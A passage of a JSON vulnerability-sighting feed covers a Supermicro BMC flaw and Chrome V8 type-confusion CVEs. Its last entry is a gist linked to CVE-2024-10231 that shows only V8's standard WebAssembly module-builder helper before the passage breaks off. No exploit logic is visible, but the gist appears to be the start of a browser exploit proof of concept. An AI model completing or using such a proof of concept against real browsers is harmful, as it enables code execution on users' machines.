\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\ud83d\udd35 CVE-2025-7937 \u2014 \u0434\u0430\u0432\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 BMC Supermicro (CVE-2024-10237) \u043e\u0431\u0440\u0435\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u0436\u0438\u0437\u043d\u044c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430 BMC \u0432\u0441\u0435 \u0435\u0449\u0435 \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435\u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u0430\u043c \u0438\u043b\u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u043d\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0432 BMC \u0438 \u0437\u0430\u0442\u0435\u043c \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c RCE \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043b\u0430\u0442\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:06.582562Z"}, {"uuid": "e8162be6-a34b-479a-94b7-3d2d0a3440c3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10237", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cd18a2ef-7656-4057-af4b-ef10970e3354", "content": "", "creation_timestamp": "2026-06-19T12:45:52.772109Z"}, {"uuid": "ca8d652c-19e3-4c02-a2f3-91c5cb09969a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10231", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpvjzl2u2d2a", "content": "\ud83d\udccc CVE-2024-10231 - Type Confusion in V8 in Google Chrome prior to 130.0.6723.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.... https://www.cyberhub.blog/cves/CVE-2024-10231", "creation_timestamp": "2026-07-05T12:07:07.411653Z"}, {"uuid": "9f510499-e5ee-4bc1-839e-b68ccecb4132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10230", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpvlp7vtwv2s", "content": "\ud83d\udccc CVE-2024-10230 - Type Confusion in V8 in Google Chrome prior to 130.0.6723.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.... https://www.cyberhub.blog/cves/CVE-2024-10230", "creation_timestamp": "2026-07-05T12:37:07.028988Z"}, {"uuid": "c3564211-806c-4ca1-893d-42b8245f6af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10231", "type": "seen", "source": "https://gist.github.com/vichhka-git/3843051263a5f9fd991962366960f8e6", "content": "\n\ncw\n\nboot\n\n///// wasm-module-builder.js START /////\n// Copyright 2016 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n// Used for encoding f32 and double constants to bits.\nlet byte_view = new Uint8Array(8);\nlet data_view = new DataView(byte_view.buffer);\n\n// The bytes function receives one of\n//  - several arguments, each of which is either a number or a string of length\n//    1; if it's a string, the charcode of the contained character is used.\n//  - a single array argument containing the actual arguments\n//  - a single string; the returned buffer will contain the char codes of all\n//    contained characters.\nfunction bytes(...input) {\n  if (input.length == 1 &amp;&amp; typeof input[0] == 'array') input = input[0];\n  if (input.length == 1 &amp;&amp; typeof input[0] == 'string') {\n    let len = input[0].length;\n    let view = new Uint8Array(len);\n    for (let i = 0; i &lt; len; i++) view[i] = input[0].charCodeAt(i);\n    return view.buffer;\n  }\n  let view = new Uint8Array(input.length);\n  for (let i = 0; i &lt; input.length; i++) {\n    let val = input[i];\n    if (typeof val == 'string') {\n      if (val.length != 1) {\n        throw new Error('string inputs must have length 1');\n      }\n      val = val.charCodeAt(0);\n    }\n    view[i] = val | 0;\n  }\n  return view.buffer;\n}\n\n// Header declaration constants\nvar kWasmH0 = 0;\nvar kWasmH1 = 0x61;\nvar kWasmH2 = 0x73;\nvar kWasmH3 = 0x6d;\n\nvar kWasmV0 = 0x1;\nvar kWasmV1 = 0;\nvar kWasmV2 = 0;\nvar kWasmV3 = 0;\n\nvar kHeaderSize = 8;\nvar kPageSize = 65536;\nvar kSpecMaxPages = 65536;\nvar kMaxVarInt32Size = 5;\nvar kMaxVarInt64Size = 10;\n\nlet kDeclNoLocals = 0;\n\n// Section declaration constants\nlet kUnknownSectionCode = 0;\nlet kTypeSectionCode = 1;        // Function signature declarations\nlet kImportSectionCode = 2;      // Import declarations\nlet kFunctionSectionCode = 3;    // Function declarations\nlet kTableSectionCode = 4;       // Indirect function table and other tables\nlet kMemorySectionCode = 5;      // Memory attributes\nlet kGlobalSectionCode = 6;      // Global declarations\nlet kExportSectionCode = 7;      // Exports\nlet kStartSectionCode = 8;       // Start function declaration\nlet kElementSectionCode = 9;     // Elements section\nlet kCodeSectionCode = 10;       // Function code\nlet kDataSectionCode = 11;       // Data segments\nlet kDataCountSectionCode = 12;  // Data segment count (between Element &amp; Code)\nlet kTagSectionCode = 13;        // Tag section (between Memory &amp; Global)\nlet kStringRefSectionCode = 14;  // Stringref literals section (between Tag &amp; Global)\nlet kLastKnownSectionCode = 14;\n\n// Name section types\nlet kModuleNameCode = 0;\nlet kFunctionNamesCode = 1;\nlet kLocalNamesCode = 2;\n\nlet kWasmSharedTypeForm = 0x65;\nlet kWasmFunctionTypeForm = 0x60;\nlet kWasmStructTypeForm = 0x5f;\nlet kWasmArrayTypeForm = 0x5e;\nlet kWasmSubtypeForm = 0x50;\nlet kWasmSubtypeFinalForm = 0x4f;\nlet kWasmRecursiveTypeGroupForm = 0x4e;\n\nlet kNoSuperType = 0xFFFFFFFF;\n\nlet kLimitsNoMaximum = 0x00;\nlet kLimitsWithMaximum = 0x01;\nlet kLimitsSharedNoMaximum = 0x02;\nlet kLimitsSharedWithMaximum = 0x03;\nlet kLimitsMemory64NoMaximum = 0x04;\nlet kLimitsMemory64WithMaximum = 0x05;\nlet kLimitsMemory64SharedNoMaximum = 0x06;\nlet kLimitsMemory64SharedWithMaximum = 0x07;\n\n// Segment flags\nlet kActiveNoIndex = 0;\nlet kPassive = 1;\nlet kActiveWithIndex = 2;\nlet kDeclarative = 3;\nlet kPassiveWithElements = 5;\nlet kDeclarativeWithElements = 7;\n\n// Function declaration flags\nlet kDeclFunctionName = 0x01;\nlet kDeclFunctionImport = 0x02;\nlet kDeclFunctionLocals = 0x04;\nlet kDeclFunctionExport = 0x08;\n\n// Value types and related\nlet kWasmVoid = 0x40;\nlet kWasmI32 = 0x7f;\nlet kWasmI64 = 0x7e;\nlet kWasmF32 = 0x7d;\nlet kWasmF64 = 0x7c;\nlet kWasmS128 = 0x7b;\nlet kWasmI8 = 0x78;\nlet kWasmI16 = 0x77;\nlet kWasmF16 = 0x76;\n\n// These are defined as negative integers to distinguish them from positive type\n// indices.\nlet kWasmNullFuncRef = -0x0d;\nlet kWasmNullExternRef = -0x0e;\nlet kWasmNullRef = -0x0f;\nlet kWasmFuncRef = -0x10;\nlet kWasmAnyFunc = kWasmFuncRef;  // Alias named as in the JS API spec\nlet kWasmExternRef = -0x11;\nlet kWasmAnyRef = -0x12;\nlet kWasmEqRef = -0x13;\nlet kWasmI31Ref = -0x14;\nlet kWasmStructRef = -0x15;\nlet kWasmArrayRef = -0x16;\nlet kWasmExnRef = -0x17;\nlet kWasmNullExnRef = -0x0c;\nlet kWasmStringRef = -0x19;\nlet kWasmStringViewWtf8 = -0x1a;\nlet kWasmStringViewWtf16 = -0x1e;\nlet kWasmStringViewIter = -0x1f;\n\n// Use the positive-byte versions inside function bodies.\nlet kLeb128Mask = 0x7f;\nlet kFuncRefCode = kWasmFuncRef &amp; kLeb128Mask;\nlet kAnyFuncCode = kFuncRefCode;  // Alias named as in the JS API spec\nlet kExternRefCode = kWasmExternRef &amp; kLeb128Mask;\nlet kAnyRefCode = kWasmAnyRef &amp; kLeb128Mask;\nlet kEqRefCode = kWasmEqRef &amp; kLeb128Mask;\nlet kI31RefCode = kWasmI31Ref &amp; kLeb128Mask;\nlet kNullExternRefCode = kWasmNullExternRef &amp; kLeb128Mask;\nlet kNullFuncRefCode = kWasmNullFuncRef &amp; kLeb128Mask;\nlet kStructRefCode = kWasmStructRef &amp; kLeb128Mask;\nlet kArrayRefCode = kWasmArrayRef &amp; kLeb128Mask;\nlet kExnRefCode = kWasmExnRef &amp; kLeb128Mask;\nlet kNullExnRefCode = kWasmNullExnRef &amp; kLeb128Mask;\nlet kNullRefCode = kWasmNullRef &amp; kLeb128Mask;\nlet kStringRefCode = kWasmStringRef &amp; kLeb128Mask;\nlet kStringViewWtf8Code = kWasmStringViewWtf8 &amp; kLeb128Mask;\nlet kStringViewWtf16Code = kWasmStringViewWtf16 &amp; kLeb128Mask;\nlet kStringViewIterCode = kWasmStringViewIter &amp; kLeb128Mask;\n\nlet kWasmRefNull = 0x63;\nlet kWasmRef = 0x64;\nfunction wasmRefNullType(heap_type, is_shared = false) {\n  return {opcode: kWasmRefNull, heap_type: heap_type, is_shared: is_shared};\n}\nfunction wasmRefType(heap_type, is_shared = false) {\n  return {opcode: kWasmRef, heap_type: heap_type, is_shared: is_shared};\n}\n\nlet kExternalFunction = 0;\nlet kExternalTable = 1;\nlet kExternalMemory = 2;\nlet kExternalGlobal = 3;\nlet kExternalTag = 4;\n\nlet kTableZero = 0;\nlet kMemoryZero = 0;\nlet kSegmentZero = 0;\n\nlet kExceptionAttribute = 0;\n\n// Useful signatures\nlet kSig_i_i = makeSig([kWasmI32], [kWasmI32]);\nlet kSig_l_l = makeSig([kWasmI64], [kWasmI64]);\nlet kSig_i_l = makeSig([kWasmI64], [kWasmI32]);\nlet kSig_i_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32]);\nlet kSig_i_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);\nlet kSig_i_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);\nlet kSig_v_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], []);\nlet kSig_l_i = makeSig([kWasmI32], [kWasmI64]);\nlet kSig_f_i = makeSig([kWasmI32], [kWasmF32]);\nlet kSig_i_f = makeSig([kWasmF32], [kWasmI32]);\nlet kSig_i_ff = makeSig([kWasmF32, kWasmF32], [kWasmI32]);\nlet kSig_f_ff = makeSig([kWasmF32, kWasmF32], [kWasmF32]);\nlet kSig_f_ffff = makeSig([kWasmF32, kWasmF32, kWasmF32, kWasmF32], [kWasmF32]);\nlet kSig_d_dd = makeSig([kWasmF64, kWasmF64], [kWasmF64]);\nlet kSig_l_ll = makeSig([kWasmI64, kWasmI64], [kWasmI64]);\nlet kSig_i_dd = makeSig([kWasmF64, kWasmF64], [kWasmI32]);\nlet kSig_v_v = makeSig([], []);\nlet kSig_i_v = makeSig([], [kWasmI32]);\nlet kSig_l_v = makeSig([], [kWasmI64]);\nlet kSig_f_v = makeSig([], [kWasmF32]);\nlet kSig_d_v = makeSig([], [kWasmF64]);\nlet kSig_v_i = makeSig([kWasmI32], []);\nlet kSig_v_ii = makeSig([kWasmI32, kWasmI32], []);\nlet kSig_v_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], []);\nlet kSig_v_l = makeSig([kWasmI64], []);\nlet kSig_v_li = makeSig([kWasmI64, kWasmI32], []);\nlet kSig_v_lii = makeSig([kWasmI64, kWasmI32, kWasmI32], []);\nlet kSig_v_d = makeSig([kWasmF64], []);\nlet kSig_v_dd = makeSig([kWasmF64, kWasmF64], []);\nlet kSig_v_ddi = makeSig([kWasmF64, kWasmF64, kWasmI32], []);\nlet kSig_ii_v = makeSig([], [kWasmI32, kWasmI32]);\nlet kSig_iii_v = makeSig([], [kWasmI32, kWasmI32, kWasmI32]);\nlet kSig_ii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32]);\nlet kSig_iii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32, kWasmI32]);\nlet kSig_ii_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32, kWasmI32]);\nlet kSig_iii_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32, kWasmI32, kWasmI32]);\n\nlet kSig_v_f = makeSig([kWasmF32], []);\nlet kSig_f_f = makeSig([kWasmF32], [kWasmF32]);\nlet kSig_f_d = makeSig([kWasmF64], [kWasmF32]);\nlet kSig_d_d = makeSig([kWasmF64], [kWasmF64]);\nlet kSig_d_f = makeSig([kWasmF32], [kWasmF64]);\nlet kSig_d_i = makeSig([kWasmI32], [kWasmF64]);\nlet kSig_r_r = makeSig([kWasmExternRef], [kWasmExternRef]);\nlet kSig_a_a = makeSig([kWasmAnyFunc], [kWasmAnyFunc]);\nlet kSig_i_r = makeSig([kWasmExternRef], [kWasmI32]);\nlet kSig_v_r = makeSig([kWasmExternRef], []);\nlet kSig_v_a = makeSig([kWasmAnyFunc], []);\nlet kSig_v_rr = makeSig([kWasmExternRef, kWasmExternRef], []);\nlet kSig_v_aa = makeSig([kWasmAnyFunc, kWasmAnyFunc], []);\nlet kSig_r_v = makeSig([], [kWasmExternRef]);\nlet kSig_a_v = makeSig([], [kWasmAnyFunc]);\nlet kSig_a_i = makeSig([kWasmI32], [kWasmAnyFunc]);\nlet kSig_s_i = makeSig([kWasmI32], [kWasmS128]);\nlet kSig_i_s = makeSig([kWasmS128], [kWasmI32]);\n\nfunction makeSig(params, results) {\n  return {params: params, results: results};\n}\n\nfunction makeSig_v_x(x) {\n  return makeSig([x], []);\n}\n\nfunction makeSig_x_v(x) {\n  return makeSig([], [x]);\n}\n\nfunction makeSig_v_xx(x) {\n  return makeSig([x, x], []);\n}\n\nfunction makeSig_r_v(r) {\n  return makeSig([], [r]);\n}\n\nfunction makeSig_r_x(r, x) {\n  return makeSig([x], [r]);\n}\n\nfunction makeSig_r_xx(r, x) {\n  return makeSig([x, x], [r]);\n}\n\n// Opcodes\nconst kWasmOpcodes = {\n  'Unreachable': 0x00,\n  'Nop': 0x01,\n  'Block': 0x02,\n  'Loop': 0x03,\n  'If': 0x04,\n  'Else': 0x05,\n  'Try': 0x06,\n  'TryTable': 0x1f,\n  'ThrowRef': 0x0a,\n  'Catch': 0x07,\n  'Throw': 0x08,\n  'Rethrow': 0x09,\n  'CatchAll': 0x19,\n  'End': 0x0b,\n  'Br': 0x0c,\n  'BrIf': 0x0d,\n  'BrTable': 0x0e,\n  'Return': 0x0f,\n  'CallFunction': 0x10,\n  'CallIndirect': 0x11,\n  'ReturnCall': 0x12,\n  'ReturnCallIndirect': 0x13,\n  'CallRef': 0x14,\n  'ReturnCallRef': 0x15,\n  'NopForTestingUnsupportedInLiftoff': 0x16,\n  'Delegate': 0x18,\n  'Drop': 0x1a,\n  'Select': 0x1b,\n  'SelectWithType': 0x1c,\n  'LocalGet': 0x20,\n  'LocalSet': 0x21,\n  'LocalTee': 0x22,\n  'GlobalGet': 0x23,\n  'GlobalSet': 0x24,\n  'TableGet': 0x25,\n  'TableSet': 0x26,\n  'I32LoadMem': 0x28,\n  'I64LoadMem': 0x29,\n  'F32LoadMem': 0x2a,\n  'F64LoadMem': 0x2b,\n  'I32LoadMem8S': 0x2c,\n  'I32LoadMem8U': 0x2d,\n  'I32LoadMem16S': 0x2e,\n  'I32LoadMem16U': 0x2f,\n  'I64LoadMem8S': 0x30,\n  'I64LoadMem8U': 0x31,\n  'I64LoadMem16S': 0x32,\n  'I64LoadMem16U': 0x33,\n  'I64LoadMem32S': 0x34,\n  'I64LoadMem32U': 0x35,\n  'I32StoreMem': 0x36,\n  'I64StoreMem': 0x37,\n  'F32StoreMem': 0x38,\n  'F64StoreMem': 0x39,\n  'I32StoreMem8': 0x3a,\n  'I32StoreMem16': 0x3b,\n  'I64StoreMem8': 0x3c,\n  'I64StoreMem16': 0x3d,\n  'I64StoreMem32': 0x3e,\n  'MemorySize': 0x3f,\n  'MemoryGrow': 0x40,\n  'I32Const': 0x41,\n  'I64Const': 0x42,\n  'F32Const': 0x43,\n  'F64Const': 0x44,\n  'I32Eqz': 0x45,\n  'I32Eq': 0x46,\n  'I32Ne': 0x47,\n  'I32LtS': 0x48,\n  'I32LtU': 0x49,\n  'I32GtS': 0x4a,\n  'I32GtU': 0x4b,\n  'I32LeS': 0x4c,\n  'I32LeU': 0x4d,\n  'I32GeS': 0x4e,\n  'I32GeU': 0x4f,\n  'I64Eqz': 0x50,\n  'I64Eq': 0x51,\n  'I64Ne': 0x52,\n  'I64LtS': 0x53,\n  'I64LtU': 0x54,\n  'I64GtS': 0x55,\n  'I64GtU': 0x56,\n  'I64LeS': 0x57,\n  'I64LeU': 0x58,\n  'I64GeS': 0x59,\n  'I64GeU': 0x5a,\n  'F32Eq': 0x5b,\n  'F32Ne': 0x5c,\n  'F32Lt': 0x5d,\n  'F32Gt': 0x5e,\n  'F32Le': 0x5f,\n  'F32Ge': 0x60,\n  'F64Eq': 0x61,\n  'F64Ne': 0x62,\n  'F64Lt': 0x63,\n  'F64Gt': 0x64,\n  'F64Le': 0x65,\n  'F64Ge': 0x66,\n  'I32Clz': 0x67,\n  'I32Ctz': 0x68,\n  'I32Popcnt': 0x69,\n  'I32Add': 0x6a,\n  'I32Sub': 0x6b,\n  'I32Mul': 0x6c,\n  'I32DivS': 0x6d,\n  'I32DivU': 0x6e,\n  'I32RemS': 0x6f,\n  'I32RemU': 0x70,\n  'I32And': 0x71,\n  'I32Ior': 0x72,\n  'I32Xor': 0x73,\n  'I32Shl': 0x74,\n  'I32ShrS': 0x75,\n  'I32ShrU': 0x76,\n  'I32Rol': 0x77,\n  'I32Ror': 0x78,\n  'I64Clz': 0x79,\n  'I64Ctz': 0x7a,\n  'I64Popcnt': 0x7b,\n  'I64Add': 0x7c,\n  'I64Sub': 0x7d,\n  'I64Mul': 0x7e,\n  'I64DivS': 0x7f,\n  'I64DivU': 0x80,\n  'I64RemS': 0x81,\n  'I64RemU': 0x82,\n  'I64And': 0x83,\n  'I64Ior': 0x84,\n  'I64Xor': 0x85,\n  'I64Shl': 0x86,\n  'I64ShrS': 0x87,\n  'I64ShrU': 0x88,\n  'I64Rol': 0x89,\n  'I64Ror': 0x8a,\n  'F32Abs': 0x8b,\n  'F32Neg': 0x8c,\n  'F32Ceil': 0x8d,\n  'F32Floor': 0x8e,\n  'F32Trunc': 0x8f,\n  'F32NearestInt': 0x90,\n  'F32Sqrt': 0x91,\n  'F32Add': 0x92,\n  'F32Sub': 0x93,\n  'F32Mul': 0x94,\n  'F32Div': 0x95,\n  'F32Min': 0x96,\n  'F32Max': 0x97,\n  'F32CopySign': 0x98,\n  'F64Abs': 0x99,\n  'F64Neg': 0x9a,\n  'F64Ceil': 0x9b,\n  'F64Floor': 0x9c,\n  'F64Trunc': 0x9d,\n  'F64NearestInt': 0x9e,\n  'F64Sqrt': 0x9f,\n  'F64Add': 0xa0,\n  'F64Sub': 0xa1,\n  'F64Mul': 0xa2,\n  'F64Div': 0xa3,\n  'F64Min': 0xa4,\n  'F64Max': 0xa5,\n  'F64CopySign': 0xa6,\n  'I32ConvertI64': 0xa7,\n  'I32SConvertF32': 0xa8,\n  'I32UConvertF32': 0xa9,\n  'I32SConvertF64': 0xaa,\n  'I32UConvertF64': 0xab,\n  'I64SConvertI32': 0xac,\n  'I64UConvertI32': 0xad,\n  'I64SConvertF32': 0xae,\n  'I64UConvertF32': 0xaf,\n  'I64SConvertF64': 0xb0,\n  'I64UConvertF64': 0xb1,\n  'F32SConvertI32': 0xb2,\n  'F32UConvertI32': 0xb3,\n  'F32SConvertI64': 0xb4,\n  'F32UConvertI64': 0xb5,\n  'F32ConvertF64': 0xb6,\n  'F64SConvertI32': 0xb7,\n  'F64UConvertI32': 0xb8,\n  'F64SConvertI64': 0xb9,\n  'F64UConvertI64': 0xba,\n  'F64ConvertF32': 0xbb,\n  'I32ReinterpretF32': 0xbc,\n  'I64ReinterpretF64': 0xbd,\n  'F32ReinterpretI32': 0xbe,\n  'F64ReinterpretI64': 0xbf,\n  'I32SExtendI8': 0xc0,\n  'I32SExtendI16': 0xc1,\n  'I64SExtendI8': 0xc2,\n  'I64SExtendI16': 0xc3,\n  'I64SExtendI32': 0xc4,\n  'RefNull': 0xd0,\n  'RefIsNull': 0xd1,\n  'RefFunc': 0xd2,\n  'RefEq': 0xd3,\n  'RefAsNonNull': 0xd4,\n  'BrOnNull': 0xd5,\n  'BrOnNonNull': 0xd6\n};\n\nfunction defineWasmOpcode(name, value) {\n  if (globalThis.kWasmOpcodeNames === undefined) {\n    globalThis.kWasmOpcodeNames = {};\n  }\n  Object.defineProperty(globalThis, name, {value: value});\n  if (globalThis.kWasmOpcodeNames[value] !== undefined) {\n    throw new Error(`Duplicate wasm opcode: ${value}. Previous name: ${\n        globalThis.kWasmOpcodeNames[value]}, new name: ${name}`);\n  }\n  globalThis.kWasmOpcodeNames[value] = name;\n}\nfor (let name in kWasmOpcodes) {\n  defineWasmOpcode(`kExpr${name}`, kWasmOpcodes[name]);\n}\n\n// Prefix opcodes\nconst kPrefixOpcodes = {\n  'GC': 0xfb,\n  'Numeric': 0xfc,\n  'Simd': 0xfd,\n  'Atomic': 0xfe\n};\nfor (let prefix in kPrefixOpcodes) {\n  defineWasmOpcode(`k${prefix}Prefix`, kPrefixOpcodes[prefix]);\n}\n\n// Use these for multi-byte instructions (opcode &gt; 0x7F needing two LEB bytes):\nfunction SimdInstr(opcode) {\n  if (opcode &lt;= 0x7F) return [kSimdPrefix, opcode];\n  return [kSimdPrefix, 0x80 | (opcode &amp; 0x7F), opcode &gt;&gt; 7];\n}\nfunction GCInstr(opcode) {\n  if (opcode &lt;= 0x7F) return [kGCPrefix, opcode];\n  return [kGCPrefix, 0x80 | (opcode &amp; 0x7F), opcode &gt;&gt; 7];\n}\n\n// GC opcodes\nlet kExprStructNew = 0x00;\nlet kExprStructNewDefault = 0x01;\nlet kExprStructGet = 0x02;\nlet kExprStructGetS = 0x03;\nlet kExprStructGetU = 0x04;\nlet kExprStructSet = 0x05;\nlet kExprArrayNew = 0x06;\nlet kExprArrayNewDefault = 0x07;\nlet kExprArrayNewFixed = 0x08;\nlet kExprArrayNewData = 0x09;\nlet kExprArrayNewElem = 0x0a;\nlet kExprArrayGet = 0x0b;\nlet kExprArrayGetS = 0x0c;\nlet kExprArrayGetU = 0x0d;\nlet kExprArraySet = 0x0e;\nlet kExprArrayLen = 0x0f;\nlet kExprArrayFill = 0x10;\nlet kExprArrayCopy = 0x11;\nlet kExprArrayInitData = 0x12;\nlet kExprArrayInitElem = 0x13;\nlet kExprRefTest = 0x14;\nlet kExprRefTestNull = 0x15;\nlet kExprRefCast = 0x16;\nlet kExprRefCastNull = 0x17;\nlet kExprBrOnCast = 0x18;\nlet kExprBrOnCastFail = 0x19;\nlet kExprAnyConvertExtern = 0x1a;\nlet kExprExternConvertAny = 0x1b;\nlet kExprRefI31 = 0x1c;\nlet kExprI31GetS = 0x1d;\nlet kExprI31GetU = 0x1e;\n\nlet kExprRefCastNop = 0x4c;\n\n// Stringref proposal.\nlet kExprStringNewUtf8 = 0x80;\nlet kExprStringNewWtf16 = 0x81;\nlet kExprStringConst = 0x82;\nlet kExprStringMeasureUtf8 = 0x83;\nlet kExprStringMeasureWtf8 = 0x84;\nlet kExprStringMeasureWtf16 = 0x85;\nlet kExprStringEncodeUtf8 = 0x86;\nlet kExprStringEncodeWtf16 = 0x87;\nlet kExprStringConcat = 0x88;\nlet kExprStringEq = 0x89;\nlet kExprStringIsUsvSequence = 0x8a;\nlet kExprStringNewLossyUtf8 = 0x8b;\nlet kExprStringNewWtf8 = 0x8c;\nlet kExprStringEncodeLossyUtf8 = 0x8d;\nlet kExprStringEncodeWtf8 = 0x8e;\nlet kExprStringNewUtf8Try = 0x8f;\nlet kExprStringAsWtf8 = 0x90;\nlet kExprStringViewWtf8Advance = 0x91;\nlet kExprStringViewWtf8EncodeUtf8 = 0x92;\nlet kExprStringViewWtf8Slice = 0x93;\nlet kExprStringViewWtf8EncodeLossyUtf8 = 0x94;\nlet kExprStringViewWtf8EncodeWtf8 = 0x95;\nlet kExprStringAsWtf16 = 0x98;\nlet kExprStringViewWtf16Length = 0x99;\nlet kExprStringViewWtf16GetCodeunit = 0x9a;\nlet kExprStringViewWtf16Encode = 0x9b;\nlet kExprStringViewWtf16Slice = 0x9c;\nlet kExprStringAsIter = 0xa0;\nlet kExprStringViewIterNext = 0xa1\nlet kExprStringViewIterAdvance = 0xa2;\nlet kExprStringViewIterRewind = 0xa3\nlet kExprStringViewIterSlice = 0xa4;\nlet kExprStringCompare = 0xa8;\nlet kExprStringFromCodePoint = 0xa9;\nlet kExprStringHash = 0xaa;\nlet kExprStringNewUtf8Array = 0xb0;\nlet kExprStringNewWtf16Array = 0xb1;\nlet kExprStringEncodeUtf8Array = 0xb2;\nlet kExprStringEncodeWtf16Array = 0xb3;\nlet kExprStringNewLossyUtf8Array = 0xb4;\nlet kExprStringNewWtf8Array = 0xb5;\nlet kExprStringEncodeLossyUtf8Array = 0xb6;\nlet kExprStringEncodeWtf8Array = 0xb7;\nlet kExprStringNewUtf8ArrayTry = 0xb8;\n\n// Numeric opcodes.\nlet kExprI32SConvertSatF32 = 0x00;\nlet kExprI32UConvertSatF32 = 0x01;\nlet kExprI32SConvertSatF64 = 0x02;\nlet kExprI32UConvertSatF64 = 0x03;\nlet kExprI64SConvertSatF32 = 0x04;\nlet kExprI64UConvertSatF32 = 0x05;\nlet kExprI64SConvertSatF64 = 0x06;\nlet kExprI64UConvertSatF64 = 0x07;\nlet kExprMemoryInit = 0x08;\nlet kExprDataDrop = 0x09;\nlet kExprMemoryCopy = 0x0a;\nlet kExprMemoryFill = 0x0b;\nlet kExprTableInit = 0x0c;\nlet kExprElemDrop = 0x0d;\nlet kExprTableCopy = 0x0e;\nlet kExprTableGrow = 0x0f;\nlet kExprTableSize = 0x10;\nlet kExprTableFill = 0x11;\n\n// Atomic opcodes.\nlet kExprAtomicNotify = 0x00;\nlet kExprI32AtomicWait = 0x01;\nlet kExprI64AtomicWait = 0x02;\nlet kExprAtomicFence = 0x03;\nlet kExprI32AtomicLoad = 0x10;\nlet kExprI32AtomicLoad8U = 0x12;\nlet kExprI32AtomicLoad16U = 0x13;\nlet kExprI32AtomicStore = 0x17;\nlet kExprI32AtomicStore8U = 0x19;\nlet kExprI32AtomicStore16U = 0x1a;\nlet kExprI32AtomicAdd = 0x1e;\nlet kExprI32AtomicAdd8U = 0x20;\nlet kExprI32AtomicAdd16U = 0x21;\nlet kExprI32AtomicSub = 0x25;\nlet kExprI32AtomicSub8U = 0x27;\nlet kExprI32AtomicSub16U = 0x28;\nlet kExprI32AtomicAnd = 0x2c;\nlet kExprI32AtomicAnd8U = 0x2e;\nlet kExprI32AtomicAnd16U = 0x2f;\nlet kExprI32AtomicOr = 0x33;\nlet kExprI32AtomicOr8U = 0x35;\nlet kExprI32AtomicOr16U = 0x36;\nlet kExprI32AtomicXor = 0x3a;\nlet kExprI32AtomicXor8U = 0x3c;\nlet kExprI32AtomicXor16U = 0x3d;\nlet kExprI32AtomicExchange = 0x41;\nlet kExprI32AtomicExchange8U = 0x43;\nlet kExprI32AtomicExchange16U = 0x44;\nlet kExprI32AtomicCompareExchange = 0x48;\nlet kExprI32AtomicCompareExchange8U = 0x4a;\nlet kExprI32AtomicCompareExchange16U = 0x4b;\n\nlet kExprI64AtomicLoad = 0x11;\nlet kExprI64AtomicLoad8U = 0x14;\nlet kExprI64AtomicLoad16U = 0x15;\nlet kExprI64AtomicLoad32U = 0x16;\nlet kExprI64AtomicStore = 0x18;\nlet kExprI64AtomicStore8U = 0x1b;\nlet 